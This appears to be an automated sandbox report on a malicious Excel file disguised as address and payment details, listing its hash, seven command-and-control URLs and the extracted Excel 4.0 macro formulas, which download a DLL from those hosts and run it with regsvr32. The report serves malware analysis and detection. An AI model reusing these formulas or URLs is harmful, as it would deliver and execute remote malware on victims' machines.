New Address and payment details.xlsm
- SHA256 a11485d550d2b357809d54295372d07c01a4aa2b0b774bf0a4ad982394c8d056
-
Suspicious Office macro
Office document equipped with 4.0 macros.
General
- Target New Address and payment details.xlsm
- Size 29KB
- Sample220323-eqvclsfab8
- SHA256 a11485d550d2b357809d54295372d07c01a4aa2b0b774bf0a4ad982394c8d056
Score
10/10
Malware Config
Extracted
Rule
Excel 4.0 XLM Macro
C2
-
https://iqraacfindia.org/wp-admin/dG/
-
https://he.adar-and-ido.com/wp-admin/xk7D/
-
https://www.digigoal.fr/wp-admin/VfU0aIj/
-
https://carzino.atwebpages.com/assets/QwlhxhsYfkYntLW0haX/
-
https://al-brik.com/vb/mMQlbHPCX/
-
https://apexcreative.co.kr/adm/VdiKTcljSBORQRrsh66X/
-
https://biantarajaya.com/awstats-icon/VR5wDEvBj/
Attributes
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://iqraacfindia.org/wp-admin/dG/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://he.adar-and-ido.com/wp-admin/xk7D/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://w"&"ww.digigoal.fr/wp-admin/VfU0aIj/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carzino.atwebpages.com/assets/QwlhxhsYfkYntLW0haX/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb/mMQlbHPCX/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://apexcreative.co.kr/adm/VdiKTcljSBORQRrsh66X/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biantarajaya.com/awstats-icon/VR5wDEvBj/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()
Signatures
- Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
File Explorer
-
New Address and payment details.xlsm